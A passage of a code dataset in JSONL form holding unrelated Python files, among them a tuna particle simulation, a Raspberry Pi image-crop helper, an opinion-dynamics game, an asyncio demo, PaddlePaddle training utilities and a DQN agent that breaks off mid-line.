pset.ParticleFile(name=\"output/FADPrey%s_no%d_npart%d_nfad%d_T%.2f_F%.2f_P%.2f_I%.2f_p%.1f_Pa%.1f.nc\"%(ff,seed,npart,nfad,float(sys.argv[4]),float(sys.argv[5]),float(sys.argv[6]),float(sys.argv[7]),float(sys.argv[8]),float(sys.argv[9])),\n outputdt=4.32e4) # output twice a day\n\n rt = 8.64e6 # 100 days of simulation\n print('model run time (days): ',rt/24/3600)\n\n # set up the kernels, which depends on the configuration used\n kernels = pset.Kernel(pk.CaughtP) + pset.Kernel(pk.GEvacuation) # increase tuna hunger\n ikernels = pset.InteractionKernel(pk.Iattraction)\n if(ff=='DG'):\n kernels += pset.Kernel(pk.DoubleGyre) # Double Gyre flow \n elif(ff=='RW'):\n kernels += pset.Kernel(pk.DiffusionUniformKhP) # Random walk flow\n if(ff=='BJ'):\n kernels += pset.Kernel(pk.BickleyJet) # Bickley jet flow\n kernels += pset.Kernel(pk.DisplaceParticle) # displace tuna due to swimming\n kernels += pset.Kernel(pk.zper_mrefBC) # reflective boundary conditions\n kernels += pset.Kernel(pk.PreyGrad_zpb) # calculate prey gradient\n\n ikernels += pset.InteractionKernel(pk.ItunaFAD_zpb)\n ikernels += pset.InteractionKernel(pk.Itunatuna_zpb)\n else:\n kernels += pset.Kernel(pk.DisplaceParticle) # displace tuna due to swimming\n kernels += pset.Kernel(pk.reflectiveBC) # reflective boundary conditions\n kernels += pset.Kernel(pk.PreyGrad) # calculate prey gradient\n\n ikernels += pset.InteractionKernel(pk.ItunaFAD)\n ikernels += pset.InteractionKernel(pk.Itunatuna)\n\n kernels += pset.Kernel(pk.FaugerasDiffusion)\n kernels += pset.Kernel(pk.Inertia)\n kernels += pset.Kernel(pk.prevloc)\n kernels += pset.Kernel(pk.PreyDeplete)\n\n ikernels += pset.InteractionKernel(pk.Stcheck)\n if(p!=-2): # p==-2 means that no fish is caught\n ikernels += pset.InteractionKernel(pk.ItunaPredFAD)\n\n pset.execute(pyfunc=kernels,\n pyfunc_inter=ikernels,\n # 20 minute time step\n runtime=rt, dt=1.2e3, output_file=output_file,verbose_progress=False)\n\n\n output_file.close()\nprint('total time (minutes):',(ostime.time()-ti0)/60)\n","sub_path":"IBM/tunaFADpreyF.py","file_name":"tunaFADpreyF.py","file_ext":"py","file_size_in_byte":12286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"394151715","text":"# crop helper\n# crop the original image to square size. \n# the circular image should locate in the middle\n# read the image from the master and slave pis\n# save the images to the local img/helpmaster.jpg & img/helpslave.jpg\n# save the cropped image to the local img/helpcroppedmaster.jpg & img/helpcroppedslave.jpg\n# show the cropped image on html\n\nimport sys\nimport numpy as np\nimport cv2\nimport requests,time\nfrom urllib import urlopen\nfrom pathlib import Path\nimport re\n\ndef main():\n [tmp,mleft,sleft,mtop,stop,msize,ssize] = sys.argv \n print(tmp)\n mleft=int(mleft)\n sleft=int(sleft)\n mtop =int(mtop)\n stop =int(stop)\n msize=int(msize)\n ssize=int(ssize)\n\n imgmasterori='imghelp/helpmaster.jpg'\n imgslaveori='imghelp/helpslave.jpg'\n\n masterori_file = Path(imgmasterori)\n slaveori_file = Path(imgslaveori)\n \n if not masterori_file.is_file() or not slaveori_file.is_file():\n # get image from master and slave pi and save them to local\n requests.get(\"http://127.0.0.1/picam/cmd_pipe.php?cmd=im\");\n requests.get(\"http://raspberrypi.local/picam/cmd_pipe.php?cmd=im\");\n\n time.sleep(1)\n\n paternsize = 1000\n\n slave_media_dir = 'http://raspberrypi.local/picam/media/'\n master_media_dir = 'http://127.0.0.1/picam/media/'\n urlpath = urlopen(slave_media_dir)\n string = urlpath.read().decode('utf-8')\n patern = re.compile('([^\\\"\\']*\\.jpg)');\n filelist = patern.findall(string[len(string)-paternsize:])\n filename = filelist[len(filelist)-4]\n output = open(imgslaveori,\"wb\")\n rsc = urlopen(slave_media_dir+filename)\n output.write(rsc.read())\n output.close()\n\n urlpath = urlopen(master_media_dir)\n string = urlpath.read().decode('utf-8')\n filelist = patern.findall(string[len(string)-paternsize:])\n filename = filelist[len(filelist)-4]\n output = open(imgmasterori,\"wb\")\n rsc = urlopen(master_media_dir+filename)\n output.write(rsc.read())\n output.close()\n\n\n imgmaster = cv2.imread(imgmasterori,cv2.IMREAD_COLOR)\n imgslave = cv2.imread(imgslaveori ,cv2.IMREAD_COLOR)\n tmpimg = imgmaster\n cv2.circle(tmpimg, (int(0.5*msize)+mleft,int(0.5*msize)-mtop), int(0.5*msize), (0,0,255), 5)\n cv2.imwrite(\"imghelp/helpcroppedmaster.png\",tmpimg)\n tmpimg = imgslave\n cv2.circle(tmpimg, (int(0.5*ssize)+sleft,int(0.5*ssize)-stop), int(0.5*ssize), (0,0,255), 5)\n cv2.imwrite(\"imghelp/helpcroppedslave.png\",tmpimg)\n print('finished the crop!')\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"picam/crophelper.py","file_name":"crophelper.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"214250341","text":"import numpy as np\n\n\ndef print_matrix(matrix, matrix_name=\"Матрица:\"):\n print(matrix_name)\n print(\"\\n\".join(\", \".join(\"{0:.3f}\".format(x) for x in row) for row in matrix))\n\n\nclass InformationalConfrontationGame(object):\n def __init__(self, dim=10, epsilon=10e-6, opinion_range=(0, 100), initial_opinions=None, trust_matrix=None):\n self.dim = dim\n self.epsilon = epsilon\n self.opinion_range = opinion_range\n self.initial_opinions = initial_opinions\n if not initial_opinions:\n self.gen_initial_opinions()\n \n self.trust_matrix = trust_matrix\n if not trust_matrix:\n self.gen_trust_matrix()\n \n def gen_initial_opinions(self):\n self.initial_opinions = np.random.randint(self.opinion_range[0], self.opinion_range[1], self.dim)\n \n def gen_trust_matrix(self):\n matrix = []\n for _ in np.arange(self.dim):\n row = np.random.sample(self.dim)\n matrix.append(row / row.sum())\n self.trust_matrix = np.array(matrix)\n \n def reach_accuracy(self, opinions):\n _iter = 0\n accuracy_reached = True\n while accuracy_reached:\n _iter += 1\n \n new_opinions = self.trust_matrix.dot(opinions).transpose()\n if all(x <= self.epsilon for x in np.abs(opinions - new_opinions)):\n accuracy_reached = False\n opinions = new_opinions\n return opinions, _iter\n \n def solve(self):\n result_opinions, iter_count = self.reach_accuracy(self.initial_opinions)\n print_matrix(self.trust_matrix, \"Матрица доверия:\")\n print(\"Изначальные мнения агентов:\")\n print(\"X(0) =\", self.initial_opinions)\n print(\"Потребовалось итераций:\", iter_count)\n print(\"Результирующее мнение агентов (без влияния):\")\n print(\"X(t->inf) =\", \", \".join(\"{0:.3f}\".format(x) for x in result_opinions))\n print()\n \n def solve_with_info_influence(self):\n agents = np.arange(self.dim)\n np.random.shuffle(agents)\n u_size, v_size = len(agents), len(agents)\n while u_size + v_size > len(agents):\n u_size = np.random.randint(1, len(agents))\n v_size = np.random.randint(1, len(agents))\n u_agents = agents[:u_size]\n v_agents = agents[u_size:u_size + v_size]\n print(\"Агенты первого игрока: {0}, агенты второго игрока: {1}\".format(sorted(u_agents), sorted(v_agents)))\n opinions_with_infl = self.initial_opinions\n u_influence_value = np.random.randint(self.opinion_range[0], self.opinion_range[1])\n v_influence_value = -np.random.randint(self.opinion_range[0], self.opinion_range[1])\n print(\"Сформированное начальное мнение первого игрока: {0:.0f}\".format(u_influence_value))\n print(\"Сформированное начальное мнение второго игрока: {0:.0f}\".format(v_influence_value))\n for number in np.hstack((v_agents, u_agents)):\n opinions_with_infl[number] = u_influence_value if number in u_agents else v_influence_value\n \n print(\"Изначальные мнения с учетом сформированных:\")\n print(\"X(0) =\", opinions_with_infl)\n result_opinions, iter_count = self.reach_accuracy(opinions_with_infl)\n print(\"Потребовалось итераций:\", iter_count)\n print(\"Результирующее мнение:\")\n print(\"X(t->inf) =\", \", \".join(\"{0:.3f}\".format(x) for x in result_opinions))\n # вывод матрицы в степени бескоечность\n accur_matrix = self.trust_matrix\n for _ in range(iter_count - 1):\n accur_matrix = accur_matrix.dot(self.trust_matrix)\n print_matrix(accur_matrix)\n\n\nif __name__ == '__main__':\n game = InformationalConfrontationGame(10)\n game.solve()\n game.solve_with_info_influence()\n","sub_path":"Tasks/Task12L6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"88974001","text":"import django\n\n#Comentario\nsaludo = \"Hola \"\nnombre = \"Usuario\"\nversion = \"1.1.4\"\n\nnum1 = 4\nnum2 = -3\nnumwhile = 0\n\nresultado = num1 + num2\nresultado2 = num1 ** num2\n\nprint(saludo,nombre,\" Estas en la Version: \",version, \"\\nLa suma de\", num1, \"y\", num2, \"es: \", resultado)\n\nprint(\"Y la potencia de \",num1,\"elevado a \",num2, \"es: \",resultado2)\n\nif resultado < 0:\n print(\"El resultado es: \",resultado,\"\\nel Resultado es Negativo\")\nelif resultado == 0:\n print(\"El resultado es: \",resultado,\"\\nel Resultado es Cero\")\nelif resultado > 0:\n print(\"El resultado es: \",resultado,\"\\nel Resultado es Positivo\")\n\nprint (\"num1 = \", num1)\n\ni=1\nnumwhile = 1\nwhile i<=4:\n numwhile = numwhile*num1\n print(\"(While) Numero actual: \", numwhile)\n i=i+1\n\nprint (\"num1 = \", num1)\n\nfor i in range(1,11):\n print(\"(For) Iteracion numero: \", i)\n\ndef sumar(n1,n2):\n res=n1+n2\n print(\"La suma es\", res)\n\ndef restar(n1,n2):\n res=n1-n2\n return res\n\nprint(\"Estas corriendo Django version:\")\nprint(django.get_version())","sub_path":"sintaxis.py","file_name":"sintaxis.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"287770531","text":"import asyncio\nfrom asyncio import get_event_loop, wait, wait_for\nfrom collections import namedtuple\n\nPeople = namedtuple('People', ['name', 'delay'])\n\n\nclass EchoServer:\n\n def __init__(self):\n print('Server has initialized')\n\n def run(self):\n print('Server is started and running')\n # loop.run_until_complete(self.main())\n asyncio.run(self.main())\n # pendings = asyncio.all_tasks(loop)\n # print('Pending tasks:', pendings)\n # loop.run_until_complete(asyncio.gather(*pendings))\n\n\n async def main(self):\n tasks = []\n people = [\n People('Annie', 2),\n People('Bella', 1),\n People('Ciri', 5),\n People('Duke', 10),\n ]\n for person in people:\n loop = asyncio.get_running_loop()\n print(loop)\n tasks.append(asyncio.create_task(self.greeting(person.name, person.delay)))\n print(person.name, 'task created')\n print('main going to sleep')\n await asyncio.sleep(1)\n print(f'################## MAIN ####################')\n\n print('pending tasks:', tasks)\n await asyncio.gather(*tasks)\n\n print('Existing main')\n\n async def greeting(self, name, delay=0):\n print(f'################## {name} Task Started ####################')\n print('Hello there', name)\n await self.task_switch(delay)\n print('task resume')\n print('Hello again', name)\n print(f'################## {name} Task Stopped ####################')\n\n\n async def task_switch(self, delay):\n print('task sleep for', delay)\n await asyncio.sleep(delay)\n\n\n\nif __name__ == '__main__':\n server = EchoServer()\n server.run()\n","sub_path":"echo-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"555888247","text":"import numpy as np\nimport pickle\n\n\nclass Expert_data(object):\n def __init__(self, fpath):\n self.load_data(fpath)\n self.pointer = 0\n\n def load_data(self, fpath):\n with open(fpath, 'rb') as f:\n data = pickle.load(f)\n self.obs = data['observations']\n self.acts = data['actions']\n self.acts = self.acts.reshape(len(self.acts), -1)\n self.rewards = data['ep_ret']\n self.size = len(self.obs)\n print(f'total transitions: {self.size}, rewards: {np.mean(self.rewards)}+-{np.std(self.rewards)}')\n indexes = [i for i in range(self.size)]\n np.random.shuffle(indexes)\n self.obs = self.obs[indexes]\n self.acts = self.acts[indexes]\n self.eval_size = int(0.3 * self.size)\n self.obs_eval = self.obs[: self.eval_size]\n self.acts_eval = self.acts[: self.eval_size]\n self.bc_obs = self.obs[self.eval_size:]\n self.bc_acts = self.acts[self.eval_size:]\n self.bc_size = self.size - self.eval_size\n\n def bc_sample_batch(self, batch_size=32):\n if self.pointer + batch_size > self.bc_size:\n self.pointer = 0\n batch_obs = self.bc_obs[self.pointer: self.pointer + batch_size]\n batch_acts = self.bc_acts[self.pointer: self.pointer + batch_size]\n self.pointer += batch_size\n return batch_obs, batch_acts\n\n\nif __name__ == '__main__':\n expert_data = Expert_data('expert_data/Hopper-v2.pkl')\n obs, acts = expert_data.bc_sample_batch()\n print(obs.shape, acts.shape)\n","sub_path":"hw1/data_set.py","file_name":"data_set.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"92607842","text":"# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserve.\n#\n#Licensed under the Apache License, Version 2.0 (the \"License\");\n#you may not use this file except in compliance with the License.\n#You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n#Unless required by applicable law or agreed to in writing, software\n#distributed under the License is distributed on an \"AS IS\" BASIS,\n#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#See the License for the specific language governing permissions and\n#limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport distutils.util\nimport numpy as np\nimport six\nimport argparse\nimport functools\nimport logging\nimport sys\nimport os\nimport warnings\nimport signal\nimport easydict\n\nimport paddle\nimport paddle.fluid as fluid\nfrom paddle.fluid.wrapped_decorator import signature_safe_contextmanager\nfrom paddle.fluid.framework import Program, program_guard, name_scope, default_main_program\nfrom paddle.fluid import unique_name, layers\nfrom image_classification.utils import dist_utils\n\n\ndef parse_args():\n \"\"\"Add arguments\n\n Returns: \n all training args\n \"\"\"\n args = easydict.EasyDict({\n \"use_gpu\": True,\n \"model_save_dir\": \"./output\",\n \"data_dir\": None,\n \"pretrained_model\": None,\n \"checkpoint\": None,\n \"print_step\": 10,\n \"save_step\": 1,\n \"model\": \"ResNet50\",\n \"total_images\": 1281167,\n \"num_epochs\": 120,\n \"class_dim\": 1000,\n \"image_shape\": \"3,224,224\",\n \"batch_size\": 8,\n \"test_batch_size\": 16,\n \"lr\": 0.1,\n \"lr_strategy\": \"piecewise_decay\",\n \"l2_decay\": 1e-04,\n \"momentum_rate\": 0.9,\n \"warm_up_epochs\": 5.0,\n \"decay_epochs\": 2.4,\n \"decay_rate\": 0.97,\n \"drop_connect_rate\": 0.2,\n \"step_epochs\": [30, 60, 90],\n \"lower_scale\": 0.08,\n \"lower_ratio\": 3. / 4,\n \"upper_ratio\": 4. / 3,\n \"resize_short_size\": 256,\n \"crop_size\": 224,\n \"use_mixup\": False,\n \"mixup_alpha\": 0.2,\n \"reader_thread\": 8,\n \"reader_buf_size\": 2048,\n \"interpolation\": None,\n \"use_aa\": False,\n \"image_mean\": [0.485, 0.456, 0.406],\n \"image_std\": [0.229, 0.224, 0.225],\n \"use_label_smoothing\": False,\n \"label_smoothing_epsilon\": 0.1,\n \"random_seed\": None,\n \"use_ema\": False,\n \"ema_decay\": 0.9999,\n \"padding_type\": \"SAME\",\n \"use_se\": True,\n \"img_file\": \"\",\n \"topk\": 1,\n })\n return args\n\n\ndef check_gpu():\n \"\"\" \n Log error and exit when set use_gpu=true in paddlepaddle\n cpu ver sion.\n \"\"\"\n logger = logging.getLogger(__name__)\n err = \"Config use_gpu cannot be set as true while you are \" \\\n \"using paddlepaddle cpu version ! \\nPlease try: \\n\" \\\n \"\\t1. Install paddlepaddle-gpu to run model on GPU \\n\" \\\n \"\\t2. Set use_gpu as false in config file to run \" \\\n \"model on CPU\"\n\n try:\n if args.use_gpu and not fluid.is_compiled_with_cuda():\n print(err)\n sys.exit(1)\n except Exception as e:\n pass\n\n\ndef check_version():\n \"\"\"\n Log error and exit when the installed version of paddlepaddle is\n not satisfied.\n \"\"\"\n err = \"PaddlePaddle version 1.6 or higher is required, \" \\\n \"or a suitable develop version is satisfied as well. \\n\" \\\n \"Please make sure the version is good with your code.\" \\\n\n try:\n fluid.require_version('1.6.0')\n except Exception as e:\n print(err)\n sys.exit(1)\n\n\ndef check_args(args):\n \"\"\"check arguments before running\n\n Args:\n all arguments\n \"\"\"\n\n # check models name\n sys.path.append(\"..\")\n import models\n model_list = [m for m in dir(models) if \"__\" not in m]\n assert args.model in model_list, \"{} is not in lists: {}, please check the model name\".format(\n args.model, model_list)\n\n # check learning rate strategy\n lr_strategy_list = [\n \"piecewise_decay\", \"cosine_decay\", \"linear_decay\",\n \"cosine_decay_warmup\", \"exponential_decay_warmup\"\n ]\n if args.lr_strategy not in lr_strategy_list:\n warnings.warn(\n \"\\n{} is not in lists: {}, \\nUse default learning strategy now.\".\n format(args.lr_strategy, lr_strategy_list))\n args.lr_strategy = \"default_decay\"\n # check confict of GoogLeNet and mixup\n if args.model == \"GoogLeNet\":\n assert args.use_mixup == False, \"Cannot use mixup processing in GoogLeNet, please set use_mixup = False.\"\n\n if args.interpolation:\n assert args.interpolation in [\n 0, 1, 2, 3, 4\n ], \"Wrong interpolation, please set:\\n0: cv2.INTER_NEAREST\\n1: cv2.INTER_LINEAR\\n2: cv2.INTER_CUBIC\\n3: cv2.INTER_AREA\\n4: cv2.INTER_LANCZOS4\"\n\n if args.padding_type:\n assert args.padding_type in [\n \"SAME\", \"VALID\", \"DYNAMIC\"\n ], \"Wrong padding_type, please set:\\nSAME\\nVALID\\nDYNAMIC\"\n\n assert args.checkpoint is None or args.pretrained_model is None, \"Do not init model by checkpoint and pretrained_model both.\"\n\n # check pretrained_model path for loading\n if args.pretrained_model is not None:\n assert isinstance(args.pretrained_model, str)\n assert os.path.isdir(\n args.\n pretrained_model), \"please support available pretrained_model path.\"\n\n #FIXME: check checkpoint path for saving\n if args.checkpoint is not None:\n assert isinstance(args.checkpoint, str)\n assert os.path.isdir(\n args.checkpoint\n ), \"please support available checkpoint path for initing model.\"\n\n # check params for loading\n \"\"\"\n if args.save_params:\n assert isinstance(args.save_params, str)\n assert os.path.isdir(\n args.save_params), \"please support available save_params path.\"\n \"\"\"\n\n # check gpu: when using gpu, the number of visible cards should divide batch size\n if args.use_gpu:\n assert args.batch_size % fluid.core.get_cuda_device_count(\n ) == 0, \"please support correct batch_size({}), which can be divided by available cards({}), you can change the number of cards by indicating: export CUDA_VISIBLE_DEVICES= \".format(\n args.batch_size, fluid.core.get_cuda_device_count())\n\n # check data directory\n assert args.data_dir is None or \\\n os.path.isdir(\n args.data_dir\n ), \"Data doesn't exist in {}, please load right path\".format(args.data_dir)\n\n #check gpu\n\n check_gpu()\n check_version()\n\n\ndef init_model(exe, args, program):\n if args.checkpoint:\n fluid.io.load_persistables(exe, args.checkpoint, main_program=program)\n print(\"Finish initing model from %s\" % (args.checkpoint))\n\n if args.pretrained_model:\n\n def if_exist(var):\n return os.path.exists(os.path.join(args.pretrained_model, var.name))\n\n fluid.io.load_vars(\n exe,\n args.pretrained_model,\n main_program=program,\n predicate=if_exist)\n\n\ndef save_model(args, exe, train_prog, info):\n model_path = os.path.join(args.model_save_dir, args.model, str(info))\n if not os.path.isdir(model_path):\n os.makedirs(model_path)\n fluid.io.save_persistables(exe, model_path, main_program=train_prog)\n print(\"Already save model in %s\" % (model_path))\n\n\ndef create_data_loader(is_train, args):\n \"\"\"create data_loader\n\n Usage:\n Using mixup process in training, it will return 5 results, include data_loader, image, y_a(label), y_b(label) and lamda, or it will return 3 results, include data_loader, image, and label.\n\n Args: \n is_train: mode\n args: arguments\n\n Returns:\n data_loader and the input data of net, \n \"\"\"\n image_shape = [int(m) for m in args.image_shape.split(\",\")]\n\n feed_image = fluid.data(\n name=\"feed_image\",\n shape=[None] + image_shape,\n dtype=\"float32\",\n lod_level=0)\n\n feed_label = fluid.data(\n name=\"feed_label\", shape=[None, 1], dtype=\"int64\", lod_level=0)\n feed_y_a = fluid.data(\n name=\"feed_y_a\", shape=[None, 1], dtype=\"int64\", lod_level=0)\n\n if is_train and args.use_mixup:\n feed_y_b = fluid.data(\n name=\"feed_y_b\", shape=[None, 1], dtype=\"int64\", lod_level=0)\n feed_lam = fluid.data(\n name=\"feed_lam\", shape=[None, 1], dtype=\"float32\", lod_level=0)\n\n data_loader = fluid.io.DataLoader.from_generator(\n feed_list=[feed_image, feed_y_a, feed_y_b, feed_lam],\n capacity=64,\n use_double_buffer=True,\n iterable=False)\n return data_loader, [feed_image, feed_y_a, feed_y_b, feed_lam]\n else:\n data_loader = fluid.io.DataLoader.from_generator(\n feed_list=[feed_image, feed_label],\n capacity=64,\n use_double_buffer=True,\n iterable=False)\n\n return data_loader, [feed_image, feed_label]\n\n\ndef print_info(pass_id, batch_id, print_step, metrics, time_info, info_mode):\n \"\"\"print function\n\n Args:\n pass_id: epoch index\n batch_id: batch index\n print_step: the print_step arguments\n metrics: message to print\n time_info: time infomation\n info_mode: mode\n \"\"\"\n if info_mode == \"batch\":\n if batch_id % print_step == 0:\n #if isinstance(metrics,np.ndarray):\n # train and mixup output\n if len(metrics) == 2:\n loss, lr = metrics\n print(\n \"[Pass {0}, train batch {1}] \\tloss {2}, lr {3}, elapse {4}\".\n format(pass_id, batch_id, \"%.5f\" % loss, \"%.5f\" % lr,\n \"%2.4f sec\" % time_info))\n # train and no mixup output\n elif len(metrics) == 4:\n loss, acc1, acc5, lr = metrics\n print(\n \"[Pass {0}, train batch {1}] \\tloss {2}, acc1 {3}, acc5 {4}, lr {5}, elapse {6}\".\n format(pass_id, batch_id, \"%.5f\" % loss, \"%.5f\" % acc1,\n \"%.5f\" % acc5, \"%.5f\" % lr, \"%2.4f sec\" % time_info))\n # test output\n elif len(metrics) == 3:\n loss, acc1, acc5 = metrics\n print(\n \"[Pass {0}, test batch {1}] \\tloss {2}, acc1 {3}, acc5 {4}, elapse {5}\".\n format(pass_id, batch_id, \"%.5f\" % loss, \"%.5f\" % acc1,\n \"%.5f\" % acc5, \"%2.4f sec\" % time_info))\n else:\n raise Exception(\n \"length of metrics {} is not implemented, It maybe caused by wrong format of build_program_output\".\n format(len(metrics)))\n sys.stdout.flush()\n\n elif info_mode == \"epoch\":\n ## TODO add time elapse\n #if isinstance(metrics,np.ndarray):\n if len(metrics) == 5:\n train_loss, _, test_loss, test_acc1, test_acc5 = metrics\n print(\n \"[End pass {0}]\\ttrain_loss {1}, test_loss {2}, test_acc1 {3}, test_acc5 {4}\".\n format(pass_id, \"%.5f\" % train_loss, \"%.5f\" % test_loss, \"%.5f\"\n % test_acc1, \"%.5f\" % test_acc5))\n elif len(metrics) == 7:\n train_loss, train_acc1, train_acc5, _, test_loss, test_acc1, test_acc5 = metrics\n print(\n \"[End pass {0}]\\ttrain_loss {1}, train_acc1 {2}, train_acc5 {3},test_loss {4}, test_acc1 {5}, test_acc5 {6}\".\n format(pass_id, \"%.5f\" % train_loss, \"%.5f\" % train_acc1, \"%.5f\"\n % train_acc5, \"%.5f\" % test_loss, \"%.5f\" % test_acc1,\n \"%.5f\" % test_acc5))\n sys.stdout.flush()\n elif info_mode == \"ce\":\n raise Warning(\"CE code is not ready\")\n else:\n raise Exception(\"Illegal info_mode\")\n\n\ndef best_strategy_compiled(args, program, loss, exe):\n \"\"\"make a program which wrapped by a compiled program\n \"\"\"\n\n if os.getenv('FLAGS_use_ngraph'):\n return program\n else:\n build_strategy = fluid.compiler.BuildStrategy()\n #Feature will be supported in Fluid v1.6\n #build_strategy.enable_inplace = True\n\n exec_strategy = fluid.ExecutionStrategy()\n exec_strategy.num_threads = fluid.core.get_cuda_device_count()\n exec_strategy.num_iteration_per_drop_scope = 10\n\n num_trainers = int(os.environ.get('PADDLE_TRAINERS_NUM', 1))\n if num_trainers > 1 and args.use_gpu:\n dist_utils.prepare_for_multi_process(exe, build_strategy, program)\n # NOTE: the process is fast when num_threads is 1\n # for multi-process training.\n exec_strategy.num_threads = 1\n\n compiled_program = fluid.CompiledProgram(program).with_data_parallel(\n loss_name=loss.name,\n build_strategy=build_strategy,\n exec_strategy=exec_strategy)\n\n return compiled_program\n\n\nclass ExponentialMovingAverage(object):\n def __init__(self,\n decay=0.999,\n thres_steps=None,\n zero_debias=False,\n name=None):\n self._decay = decay\n self._thres_steps = thres_steps\n self._name = name if name is not None else ''\n self._decay_var = self._get_ema_decay()\n\n self._params_tmps = []\n for param in default_main_program().global_block().all_parameters():\n if param.do_model_average != False:\n tmp = param.block.create_var(\n name=unique_name.generate(\".\".join(\n [self._name + param.name, 'ema_tmp'])),\n dtype=param.dtype,\n persistable=False,\n stop_gradient=True)\n self._params_tmps.append((param, tmp))\n\n self._ema_vars = {}\n for param, tmp in self._params_tmps:\n with param.block.program._optimized_guard(\n [param, tmp]), name_scope('moving_average'):\n self._ema_vars[param.name] = self._create_ema_vars(param)\n\n self.apply_program = Program()\n block = self.apply_program.global_block()\n with program_guard(main_program=self.apply_program):\n decay_pow = self._get_decay_pow(block)\n for param, tmp in self._params_tmps:\n param = block._clone_variable(param)\n tmp = block._clone_variable(tmp)\n ema = block._clone_variable(self._ema_vars[param.name])\n layers.assign(input=param, output=tmp)\n # bias correction\n if zero_debias:\n ema = ema / (1.0 - decay_pow)\n layers.assign(input=ema, output=param)\n\n self.restore_program = Program()\n block = self.restore_program.global_block()\n with program_guard(main_program=self.restore_program):\n for param, tmp in self._params_tmps:\n tmp = block._clone_variable(tmp)\n param = block._clone_variable(param)\n layers.assign(input=tmp, output=param)\n\n def _get_ema_decay(self):\n with default_main_program()._lr_schedule_guard():\n decay_var = layers.tensor.create_global_var(\n shape=[1],\n value=self._decay,\n dtype='float32',\n persistable=True,\n name=\"scheduled_ema_decay_rate\")\n\n if self._thres_steps is not None:\n decay_t = (self._thres_steps + 1.0) / (self._thres_steps + 10.0)\n with layers.control_flow.Switch() as switch:\n with switch.case(decay_t < self._decay):\n layers.tensor.assign(decay_t, decay_var)\n with switch.default():\n layers.tensor.assign(\n np.array(\n [self._decay], dtype=np.float32),\n decay_var)\n return decay_var\n\n def _get_decay_pow(self, block):\n global_steps = layers.learning_rate_scheduler._decay_step_counter()\n decay_var = block._clone_variable(self._decay_var)\n decay_pow_acc = layers.elementwise_pow(decay_var, global_steps + 1)\n return decay_pow_acc\n\n def _create_ema_vars(self, param):\n param_ema = layers.create_global_var(\n name=unique_name.generate(self._name + param.name + '_ema'),\n shape=param.shape,\n value=0.0,\n dtype=param.dtype,\n persistable=True)\n\n return param_ema\n\n def update(self):\n \"\"\"\n Update Exponential Moving Average. Should only call this method in\n train program.\n \"\"\"\n param_master_emas = []\n for param, tmp in self._params_tmps:\n with param.block.program._optimized_guard(\n [param, tmp]), name_scope('moving_average'):\n param_ema = self._ema_vars[param.name]\n if param.name + '.master' in self._ema_vars:\n master_ema = self._ema_vars[param.name + '.master']\n param_master_emas.append([param_ema, master_ema])\n else:\n ema_t = param_ema * self._decay_var + param * (\n 1 - self._decay_var)\n layers.assign(input=ema_t, output=param_ema)\n\n # for fp16 params\n for param_ema, master_ema in param_master_emas:\n default_main_program().global_block().append_op(\n type=\"cast\",\n inputs={\"X\": master_ema},\n outputs={\"Out\": param_ema},\n attrs={\n \"in_dtype\": master_ema.dtype,\n \"out_dtype\": param_ema.dtype\n })\n\n @signature_safe_contextmanager\n def apply(self, executor, need_restore=True):\n \"\"\"\n Apply moving average to parameters for evaluation.\n\n Args:\n executor (Executor): The Executor to execute applying.\n need_restore (bool): Whether to restore parameters after applying.\n \"\"\"\n executor.run(self.apply_program)\n try:\n yield\n finally:\n if need_restore:\n self.restore(executor)\n\n def restore(self, executor):\n \"\"\"Restore parameters.\n\n Args:\n executor (Executor): The Executor to execute restoring.\n \"\"\"\n executor.run(self.restore_program)\n","sub_path":"PaddleCV/image_classification/utils/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":18594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334911156","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis script is used for training checkpoints if directly run.\n\"\"\"\nimport random, csv, os, sys, argparse\nfrom tqdm import tqdm\nimport numpy as np\nfrom collections import deque\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\nfrom readCSV import readCSV\n\nEPISODES = 1000\nstate_size = 10\naction_size = 3\npi = np.pi\nparenpath = os.path.join(sys.path[0], '..')\n\nclass DQNAgent:\n def __init__(self, state_size, action_size, filename):\n global memory\n self.state_size = state_size\n self.action_size = action_size\n # self.memory = deque(maxlen=2000)\n self.memory = readCSV(state_size, action_size, filename=filename)\n self.gamma = 0.5 # discount rate\n self.epsilon = 1.0 # exploration rate\n self.epsilon_min = 0.01\n self.epsilon_decay = 0.995\n self.learning_rate = 0.001\n self.model = self._build_model()\n self.loss = 10000\n\n def _build_model(self):\n # Neural Net for Deep-Q learning Model\n model = Sequential()\n model.add(Dense(24, input_dim=self.state_size, activation='relu'))\n model.add(Dense(24, activation='relu'))\n model.add(Dense(self.action_size, activation='linear'))\n model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate))\n return model\n\n def act(self, state, train = True):\n if train and np.random.rand() <= self.epsilon:\n return random.randrange(self.action_size)\n else:\n act_values = self.model.predict(state)\n return np.argmax(act_values[0]) # returns action\n\n def replay(self, batch_size):\n minibatch = random.sample(self.memory, batch_size)\n states, targets_f = [], []\n for i in range(len(minibatch)):\n # for state, action, reward, next_state, done in minibatch:\n row = minibatch[i]\n done = False\n \n state = np.array(row[:10]).reshape([1, -1])\n action = np.array(row[-(self.state_size+2)]).reshape([1, -1])\n reward = 